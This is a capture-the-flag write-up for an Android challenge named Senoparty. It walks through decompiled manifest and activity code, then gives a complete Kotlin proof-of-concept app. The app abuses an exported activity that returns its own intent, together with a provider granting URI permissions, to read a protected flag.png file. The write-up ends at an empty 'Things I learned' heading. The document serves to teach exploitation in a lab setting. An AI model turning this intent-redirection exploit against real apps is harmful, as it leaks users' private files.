Description

I asked for the challenge from other people so I have no idea what the description is. All I know is this challenge required me to upload my malicious APK into the server Senoparty.apk

Static Analysis

I started out using jadx-gui to decompile and read the code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<activity
    android:theme="@style/Theme.Senoparty"
    android:label="@string/app_name"
    android:name="com.example.senoparty.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="content"/>
        <data android:scheme="file"/>
    </intent-filter>
</activity>
<provider
    android:name="com.example.senoparty.SenopartyProvider"
    android:exported="false"
    android:authorities="com.example.senoparty.SenopartyProvider"
    android:grantUriPermissions="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</provider>

Based on the AndroidManifest.xml, there’s a MainActivity activity and a SenopartyProvider provider. I then first looked into the MainActivity.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    EdgeToEdge.enable$default(this, null, null, 3, null);
    handleIt();
    ComponentActivityKt.setContent$default(this, null, ComposableSingletons$MainActivityKt.INSTANCE.m7104getLambda1$app_debug(), 1, null);
}

private final void handleIt() {
    try {
        new URI(getIntent().getStringExtra("android.intent.extra.STREAM"));
        Log.e("message", "Well What");
        setResult(-1);
        finish();
    } catch (NullPointerException e) {
        setResult(0);
    } catch (URISyntaxException e2) {
        setResult(0, getIntent());
        finish();
    }
}

Based on the code, It will get intent on android.intent.extra.STREAM and passed it into URI. If there’s an error, it will pass to the setResult(0, getIntent()) code. Since this is what I want, I will need to pass a string that has will cause the error.

Back to the provider, it has this code android:grantUriPermissions="true" which is something vulnerable. Combining with the setResult(0, getIntent()), it is possible to leak data by creating a malicious APK.

Dynamic Analysis

Here’s the part where I create a malicious APK to interact with it. I will write the code in Kotlin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
val bitmapState = remember { mutableStateOf<Bitmap?>(null) }


val startForResult = rememberLauncherForActivityResult(
    contract = ActivityResultContracts.StartActivityForResult()
) { result: ActivityResult ->
    // Handle result if needed
    Log.d("IntentDump", "Received result ${result}")
    Log.d("IntentDump",result.data?.data.toString())
    val uri = result.data?.data
    val bitmap = uri?.let {
        contentResolver.openInputStream(it)?.use { input ->
            BitmapFactory.decodeStream(input)
        }
    }
    bitmapState.value = bitmap
}

LaunchedEffect(Unit) {
    val intent = Intent().apply {
        setClassName(
            "com.example.senoparty",
            "com.example.senoparty.MainActivity"
        )
        setData(Uri.parse("content://com.example.senoparty.SenopartyProvider/flag.png"))
        putExtra(Intent.EXTRA_STREAM, ":/trigger-error")
        setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)

    }
    startForResult.launch(intent)
}


bitmapState.value?.let{
    Image(BitmapPainter(it.asImageBitmap()),"test",modifier = Modifier.padding(innerPadding))
}

There are 3 main part of the Kotlin code.

The first one is related to the intent where it will send one intent into the Senoparty.apk. This is to trigger the MainActivity and the intent consist of several additional information. One of it is the putExtra(Intent.EXTRA_STREAM,":/trigger-error") where it is used to trigger URI error to ensure that the code reach the setResult(0,getIntent()). The setData and setFlags is for receiving data from the Senoparty.apk provider.

The second part is related to startForResult.launch where it actually receives the information after the intent is send out and there’s information sending back. If there’s information, it will try to extract the data.

The third part is related to Image because the received data is an image, it will required the Image function to be view the image.

Since I do not have the real flag.png with me, I just randomly add a flag.png and try it locally.

alt text

here’s a simple outcome of how the images is retrieved.

Full POC code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package io.ks.testingpoc

import android.app.Activity
import android.content.Intent
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.net.Uri
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.activity.result.ActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.foundation.Image
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.padding
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.asImageBitmap
import androidx.compose.ui.graphics.painter.BitmapPainter
import androidx.compose.ui.tooling.preview.Preview
import io.ks.testingpoc.ui.theme.TestingPocTheme

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            TestingPocTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    Text(
                        text = "Android",
                        modifier = Modifier.padding(innerPadding)
                    )
                    val bitmapState = remember { mutableStateOf<Bitmap?>(null) }


                    val startForResult = rememberLauncherForActivityResult(
                        contract = ActivityResultContracts.StartActivityForResult()
                    ) { result: ActivityResult ->
                        // Handle result if needed
                        Log.d("IntentDump", "Received result ${result}")
                        Log.d("IntentDump",result.data?.data.toString())
                        val uri = result.data?.data
                        val bitmap = uri?.let {
                            contentResolver.openInputStream(it)?.use { input ->
                                BitmapFactory.decodeStream(input)
                            }
                        }
                        bitmapState.value = bitmap
                    }

                    LaunchedEffect(Unit) {
                        val intent = Intent().apply {
                            setClassName(
                                "com.example.senoparty",
                                "com.example.senoparty.MainActivity"
                            )
                            setData(Uri.parse("content://com.example.senoparty.SenopartyProvider/flag.png"))
                            putExtra(Intent.EXTRA_STREAM, ":/trigger-error")
                            setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)

                        }
                        startForResult.launch(intent)
                    }


                    bitmapState.value?.let{
                        Image(BitmapPainter(it.asImageBitmap()),"test",modifier = Modifier.padding(innerPadding))
                    }


                }
            }
        }
    }
}

Things I learned from this challenge